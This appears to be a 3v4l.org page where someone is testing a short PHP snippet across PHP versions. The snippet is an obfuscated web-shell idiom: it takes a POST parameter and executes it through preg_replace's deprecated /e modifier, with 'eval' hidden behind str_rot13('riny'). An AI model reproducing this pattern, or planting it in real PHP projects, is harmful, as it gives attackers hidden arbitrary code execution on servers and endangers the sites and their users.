3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); echo '@' . str_rot13('riny') . '($www)'; }

preferences:
51.69 ms | 402 KiB | 5 Q